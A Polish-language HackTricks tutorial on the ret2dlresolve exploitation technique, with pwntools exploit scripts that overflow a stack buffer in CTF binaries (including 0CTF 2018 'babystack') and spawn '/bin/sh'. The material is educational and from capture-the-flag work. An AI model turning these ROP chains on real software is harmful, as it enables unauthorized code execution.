Ret2dlresolve
Reading time: 6 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Jak wyjaśniono na stronie o GOT/PLT i Relro, binaria bez Full Relro będą rozwiązywać symbole (jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy są używane. To rozwiązywanie odbywa się poprzez wywołanie funkcji _dl_runtime_resolve
.
Funkcja _dl_runtime_resolve
pobiera ze stosu odniesienia do niektórych struktur, których potrzebuje, aby rozwiązać określony symbol.
Dlatego możliwe jest sfałszowanie wszystkich tych struktur, aby dynamicznie powiązane rozwiązywanie żądanego symbolu (jak funkcja system
) i wywołanie jej z skonfigurowanym parametrem (np. system('/bin/sh')
).
Zazwyczaj wszystkie te struktury są fałszowane poprzez stworzenie początkowego łańcucha ROP, który wywołuje read
na zapisywalnej pamięci, następnie struktury i ciąg **'/bin/sh'** są przekazywane, aby zostały zapisane przez
read w znanej lokalizacji, a następnie łańcuch ROP kontynuuje, wywołując **
_dl_runtime_resolve**, mając na celu **rozwiązanie adresu
system** w fałszywych strukturach i **wywołanie tego adresu** z adresem do
$'/bin/sh'`.
tip
Ta technika jest szczególnie przydatna, jeśli nie ma gadżetów syscall (aby używać technik takich jak ret2syscall lub SROP) i nie ma sposobów na wyciek adresów libc.
Sprawdź ten film, aby uzyskać ładne wyjaśnienie tej techniki w drugiej połowie filmu:
{{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}}
Lub sprawdź te strony, aby uzyskać krok po kroku wyjaśnienie:
- https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
Podsumowanie ataku
- Napisz fałszywe struktury w jakimś miejscu
- Ustaw pierwszy argument funkcji system (
$rdi = &'/bin/sh'
) - Ustaw na stosie adresy do struktur, aby wywołać
_dl_runtime_resolve
- Wywołaj
_dl_runtime_resolve
system
zostanie rozwiązany i wywołany z'/bin/sh'
jako argument
Z dokumentacji pwntools, tak wygląda atak ret2dlresolve
:
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
Przykład
Czyste Pwntools
Możesz znaleźć przykład tej techniki tutaj zawierający bardzo dobre wyjaśnienie końcowego łańcucha ROP, ale oto końcowy exploit użyty:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
Surowe
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
from pwn import *
target = process('./babystack')
#gdb.attach(target)
elf = ELF('babystack')
# Establish starts of various sections
bss = 0x804a020
dynstr = 0x804822c
dynsym = 0x80481cc
relplt = 0x80482b0
# Establish two functions
scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address
# Establish size of second payload
payload1_size = 43
# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug
payload0 = ""
payload0 += "0"*44 # Filler from start of input to return address
payload0 += p32(elf.symbols['read']) # Return read
payload0 += scanInput # After the read call, return to scan input
payload0 += p32(0) # Read via stdin
payload0 += p32(bss) # Scan into the start of the bss
payload0 += p32(payload1_size) # How much data to scan in
target.send(payload0)
# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack
# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7
# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr
paylaod1 = ""
# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)
# Empty
paylaod1 += p32(0x0)
# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3
# Our dynstr entry
paylaod1 += "system\x00"
# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"
target.send(paylaod1)
# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system
# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35
# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt
paylaod2 = ""
paylaod2 += "0"*44
paylaod2 += resolve # 0x80482f0
paylaod2 += p32(ret_plt_offset) # .rel.plt offset
paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh"
target.send(paylaod2)
# Enjoy the shell!
target.interactive()
Inne przykłady i odniesienia
- https://youtu.be/ADULSwnQs-s
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
- https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
- 32bit, bez relro, bez canary, nx, bez pie, podstawowy mały overflow bufora i powrót. Aby to wykorzystać, bof jest używany do ponownego wywołania
read
z sekcją.bss
i większym rozmiarem, aby przechować tam fałszywe tabeledlresolve
do załadowaniasystem
, powrócić do main i ponownie wykorzystać początkowy bof do wywołania dlresolve, a następniesystem('/bin/sh')
.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.